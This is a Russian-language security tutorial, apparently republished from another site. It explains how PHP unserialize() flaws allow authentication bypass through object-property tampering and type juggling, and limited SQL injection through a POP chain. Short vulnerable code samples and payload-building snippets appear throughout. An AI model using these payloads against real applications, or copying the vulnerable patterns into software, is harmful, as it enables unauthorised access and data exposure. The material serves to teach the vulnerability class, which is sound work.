Обход аутентификации и внедрение SQL-кода через unserialize() в PHP
Сериализация в PHP через метод unserialize() приводит к появлению уязвимостей, открывающих через RCE (удаленное выполнение кода) доступ для хакеров. Даже при отсутствии RCE существует вероятность обхода системы аутентификации и внедрения SQL-кода.
Обход механизма аутентификации
Уязвимости unserialize() часто используются для обхода проверки безопасности приложения. Есть два способа реализации. Первый заключается в управлении свойствами объекта, чтобы получить контроль доступа. Второй способ — манипуляции с типами. Оба метода основаны на том, что конечный пользователь может управлять переданным в функцию объектом.
Управление свойствами объекта
Это один из самых простых и распространенных способов использования уязвимости десериализации для обхода аутентификации.
class User{ public $username = "vickie"; public $type = "Regular User"; # еще PHP код }
Предположим, приложение использует класс User для передачи личной информации в процессе регистрации. После заполнения формы пользователем, эти данные будут сообщены во внутреннюю базу через сериализованный объект User.
Так как у конечного пользователя есть право на управление объектом User, он может изменить характеристики объекта и зарегистрироваться как пользователь с правами администратора.
class User{ public $username = "vickie"; public $type = "Admin User"; # еще немного PHP кода }
Манипулирование типами переменных
Еще один простой способ взлома, основанный на функции манипуляции типами в PHP. В качестве примера рассмотрим код, используемый для входа в систему под именем администратора:
parse_str($_POST['user_password'], $password_array); $pw = unserialize($password_array[0]); if ($pw->password == "Admin_Password") {login_as_admin();}
Хакер может отправить запрос POST, чтобы войти как админ:
class Password{ public $password = 0; # и еще PHP код } # строка принята как тело POST: print urlencode(serialize(new Password));
Это сработает, так как ответом на (0 == “Admin_Password”) будет true. При сравнении разных типов данных в PHP запускается процесс сведения их к одному типу. Следовательно, “Admin_Password” превратится в 0. И выражение станет эквивалентным (0 == 0).
SQL-инъекция
При определенных условиях уязвимости unserialize() могут быть использованы для внедрения SQL-кода.
Использование POP-цепочек
Предположим, где-то в коде приложение определяет класс Example3 и десериализует нефильтрованный пользовательский ввод из данных POST.
class Example3 { protected $obj; function __construct() { // PHP код... } function __toString() { if (isset($this->obj)) return $this->obj->getValue(); } } // немного PHP кода... $user_data = unserialize($_POST['data']); // еще чуть-чуть PHP кода...
__toString() — это магический метод, вызываемый каждый раз, когда класс рассматривается как строка. В таком случае Example3 обрабатывается как строка, и в результате метода getValue() возвращается свойство $obj.
Предположим, в приложении также определен класс SQL_Row_Value с методом getValue(), который выполняет SQL запрос. Запрос получает данные из свойства $_table экземпляра SQL_Row_Value.
class SQL_Row_Value { private $_table; // немного PHP кода... function getValue($id) { $sql = "SELECT * FROM {$this->_table} WHERE id = " . (int)$id; $result = mysql_query($sql, $DBFactory::getConnection()); $row = mysql_fetch_assoc($result); return $row['value'];
Хакер может внедрить SQL-код, используя $obj в Example3: нижеследующий код создаст экземпляр Example3 с $obj, где значение $_table в SQL_Row_Value будет определено как строка “SQL Injection”.
class SQL_Row_Value { private $_table = "SQL Injection"; } class Example3 { protected $obj; function __construct() { $this->obj = new SQL_Row_Value; } } print urlencode(serialize(new Example3));
Всякий раз, когда этот экземпляр обрабатывается как строка, вызывается метод get_Value() в $obj. То есть для SQL_Row_Value этот метод будет выполняться со строкой “SQL Injection”.
Таким образом, хакер реализовал ограниченное внедрение SQL-кода, поскольку он может контролировать строку, переданную в SQL запрос «SELECT * FROM {$this->_table} WHERE id = «. (int)$id;
Специально для сайта ITWORLD.UZ. Новость взята с сайта NOP::Nuances of programming